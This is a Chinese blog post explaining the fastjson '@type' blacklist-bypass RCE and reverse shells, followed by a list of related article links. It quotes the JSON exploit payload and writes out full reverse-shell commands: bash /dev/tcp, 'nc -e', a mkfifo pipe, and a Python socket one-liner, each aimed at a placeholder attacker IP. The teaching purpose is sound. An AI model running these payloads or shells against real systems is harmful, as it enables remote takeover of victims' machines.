文章目录

  • 1. fastjson 远程代码执行漏洞
  • 2. 简单复现
  • 3. 反弹shell
    • 3.1 正向反弹shell
    • 3.2 反向反弹shell

1. fastjson 远程代码执行漏洞

最近读到一篇文章 fastjson 远程代码执行漏洞分析,文章很详细地分析了漏洞原理并复现了漏洞,主要原理可概括如下:

  1. fastjson 处理以@type形式传入的类的时候会默认调用该类的 set/get/is 方法,这个特性在解析如下 json 字符串的时候,对恶意 json第一个@type 的解析通过不在黑名单的java.lang.Class 类作为键,将黑名单类 com.sun.rowset.JdbcRowSetImpl 缓存到内部 Map中。之后解析 第二个@type时,从Map中直接取出黑名单类com.sun.rowset.JdbcRowSetImpl从而绕过黑名单等安全检查,并默认调用set/get/is 方法将 "dataSourceName":"rmi://XXXXX:9999/Exploit" 属性注入,同时调用了 JdbcRowSetImpl#setAutoCommit()函数

    {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://XXXXX:9999/Exploit","autoCommit":true}
    }
    
  2. JdbcRowSetImpl#setAutoCommit()方法执行时会触发connect()函数,该方法会对成员变量dataSourceName进行lookup(),这样传入的属性 "dataSourceName":"rmi://XXXXX:9999/Exploit" 指向的恶意RMI服务类就会被加载,该类中有问题的静态代码块毫无疑问就被执行了
    public void setAutoCommit(boolean var1) throws SQLException {if (this.conn != null) {this.conn.setAutoCommit(var1);} else {// 触发 connect()this.conn = this.connect();this.conn.setAutoCommit(var1);}}private Connection connect() throws SQLException {if (this.conn != null) {return this.conn;} else if (this.getDataSourceName() != null) {try {InitialContext var1 = new InitialContext();// 进行lookup()操作时,会动态加载并实例化恶意 RMI 服务 Java 类DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());......}
    

2. 简单复现

条件有限,没有去准备 RMI服务器,以恶意 Java 类已经注入为前提,以下步骤完成了简易复现

  1. 攻击机器(centos)执行命令 nc -lvvp 9999,监听自身的 9999 端口
  2. 目标机器(macos)执行以下恶意Java 代码,被动新开一个 shell 进程,将自身的输入输出通过 tcp连接传输到攻击者机器上,从而完成渗透入侵
     //ip 为攻击者服务器 ip
    static {try {Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/ip/9999 0>&1"});} catch (IOException e) {e.printStackTrace();}}
    

    以上代码等价于在终端界面执行命令

    Mac:   /bin/bash -c 'bash -i >& /dev/tcp/ip/9999 0>&1 &'
    Linux: bash -i >& /dev/tcp/ip/9999 0>&1 &
    

对于命令的解释首先要掌握以下几点:

linux shell 下三种标准的文件描述符:
0 - stdin 代表标准输入,使用<或<<
1 - stdout 代表标准输出,使用>或>>
2 - stderr 代表标准错误输出,使用2>或2>>
>& 符号的含义:
当 >& 后面接文件时,表示将标准输出和标准错误输出重定向至文件
当 >& 后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

bash -i >& /dev/tcp/ip/9999 0>&1 & 命令并不复杂:

  1. 首先 bash -i在本地打开一个 bash
  2. 然后就是 /dev/tcp/ip/port, 这是Linux中的一个特殊设备,打开这个文件就相当于建立一个socket连接
  3. >&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。如果远程开启了对应的端口监听,就会接收到这个bash的标准输出和标准错误输出,这个时候在本机 macos 输入命令,输出以及错误输出的内容就会被传递显示到远程
  4. 0>&1 代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样就可以直接在远程输入了

3. 反弹shell

上面的渗透入侵方式被称为 反弹shell (reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端,本质上是网络概念的客户端与服务端的角色反转

3.1 正向反弹shell

所谓正向反弹shell是指在目标机器上监听端口,然后攻击者主动链接。通常步骤如下:

  1. 被攻击机器(centos)执行 nc -lvp 8888 -e /bin/bash,监听自身端口,-e 参数代表的是创建连接后执行的程序。此处-e /bin/bash代表在连接到远程后可以在远程执行一个本地 shell(/bin/bash),也就是反弹一个shell给远程

    需注意nc 版本不同可能不支持 -e 参数
    此时可使用 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 8888 >/tmp/f &
    mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道

  2. 攻击机器(macos)执行 nc IP 8888 主动链接目标机器,链接一旦建立立即获取到目标机器的 shell

3.2 反向反弹shell

反向反弹shell是在攻击者电脑上监听端口,然后目标机器进行链接。一个 python 命令实现如下:

  1. 攻击机器(centos)监听自身 nc -lvp 8888

  2. 目标机器(macos)执行 python 代码,建立链接到攻击机器

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"&
    

以上 Python 代码反弹 shell 的原理如下:

  1. 首先使用 socket与远程建立起连接
  2. 接下来使用到了os 库的dup2()方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,就相当于将fd2指向于s.fileno(),此处 fileno()返回的就是建立socket连接返回的文件描述符,于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程
  3. 最后使用 os 的subprocess()在本地开启一个子进程,传入参数-i使 bash 以交互模式启动,而此时标准输入、标准输出、标准错误输出都被重定向到了远程,这样就可以在远程执行输入命令了

远程代码执行(RCE)漏洞相关推荐

  1. IE浏览器远程代码执行高危漏洞(CVE-2019-1367)

    IE浏览器远程代码执行高危漏洞(CVE-2019-1367)加固遇到的问题 一.背景介绍 Internet Explorer,是微软公司推出的一款网页浏览器.用户量极大.9月23日微软紧急发布安全更新 ...

  2. Windows RDP远程代码执行高危漏洞加固指南

    漏洞信息 序号 漏洞类型 风险等级 漏洞主机( 操作系统及版本) 1 Windows RDP远程代码执行高危漏洞 高 Windows     2. 漏洞加固实施 漏洞1:Windows RDP远程代码 ...

  3. Fastjson 爆出远程代码执行高危漏洞,更新版本已修复

    漏洞介绍 fastjson在1.2.24以及之前版本近日曝出代码执行漏洞,当用户提交一个精心构造的恶意的序列化数据到服务器端时,fastjson在反序列化时存在漏洞,可导致远程任意代码执行漏洞. 风险 ...

  4. php定时执行代码漏洞_在CTF比赛中发现的PHP远程代码执行0day漏洞

    众所周知,CTF比赛都是人为构造漏洞环境,人为制造安全漏洞,供安全从爱好者研究,好磨练和增强自己的安全技能. 参加CTF比赛,通常你需要明白出题人的想法,按照出题人的意图来解开谜题. 但是,就像所有的 ...

  5. Apache Log4j2 远程代码执行高危漏洞 解决方案

    新闻:https://view.inews.qq.com/a/20211210A05KTY00 博主其他文章 Log4j2 高危漏洞分析 简介: Apache Log4j2是一款优秀的Java日志框架 ...

  6. thinkphp5运行原理_ThinkPHP5.1~5.2全版本远程代码执行高危漏洞预警

    漏洞综述 关于ThinkPHP ThinkPHP是一个快速.兼容而且简单的轻量级国产PHP开发框架,其借鉴了国外很多优秀的框架和模式,包括使用面向对象的开发结构和MVC模式,融合了Struts的思想和 ...

  7. (复现)CVE-2021-21985 Vmware vcenter远程代码执行RCE

    0x00 简介 vSphere 是 VMware 推出的虚拟化平台套件,包含 ESXi.vCenter Server 等一系列的软件.其中 vCenter Server 为 ESXi 的控制中心,可从 ...

  8. Spring Cloud Gateway远程代码执行CVE-2022-22947漏洞分析及复现

    0x01 漏洞描述 Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单.有效.统一的 ...

  9. Apache NiFi远程代码执行-RCE

    目录 一. 漏洞简介 二. 影响版本 三. docker-compose进行漏洞环境搭建 四. 漏洞复现 五. 漏洞挖掘 六. 漏洞修复 一. 漏洞简介 Apache NiFi 是一个易于使用.功能强 ...

最新文章

  1. 狂宴终有尽时,留一份清醒一份醉 比特币现金BCH凸显投资价值
  2. OpenCV图像旋转,指定填充背景颜色边界颜色
  3. Javascript称球
  4. 牛顿新定律:凭本事得到的,凭什么要还?
  5. liunx版mysql服务无法启动_linux环境下mysql无法启动
  6. python教程苹果版_python教程
  7. pta求阶乘序列前n项和_序列问题总结-超级巧妙
  8. C#实现AES加密和解密
  9. 不良事件总结怎么写_护理不良事件总结分析.doc
  10. 巧用ASP.NET预编译Web应用程序规避调用延迟,徐汇区网站设计
  11. 高级网络配置+Ipv6
  12. 如何制定目标 (转自我学网)
  13. ad19做直插封装 ipc_共享一下自己的PCB封装库(Altium Designer)
  14. 小米路由器r2d_小米路由器R2D刷机变砖维修过程记录
  15. 使用微信公众号实现扫码开门
  16. Dialogs(对话框)
  17. 在麒麟v10系统上面安装达梦数据库8
  18. 使用Auto.js实现蚂蚁森林自动收取能量
  19. LIUNX账户与安全
  20. 彻底卸载JDK环境教程

热门文章

  1. java技术的综合应用实训报告_java实训报告--高.doc
  2. heidisql linux 安装_CentOS mysql GUI图形化数据库管理工具Heidisql的安装教程
  3. vant中uploader上传图片
  4. Git 常用命令一览
  5. 惠普HP LaserJet Managed MFP E72535dn 驱动
  6. 2013年EI 新目录中新增的期刊
  7. Springboot毕设项目电竞比赛管理系统646f0(java+VUE+Mybatis+Maven+Mysql)
  8. 简单介绍asp模式与saas模式
  9. python数学公式编辑工具_使用Python一键生成LaTeX数学公式
  10. 人力外派月入4万的操作方法,唤醒你身边沉睡的财富,建议收藏哦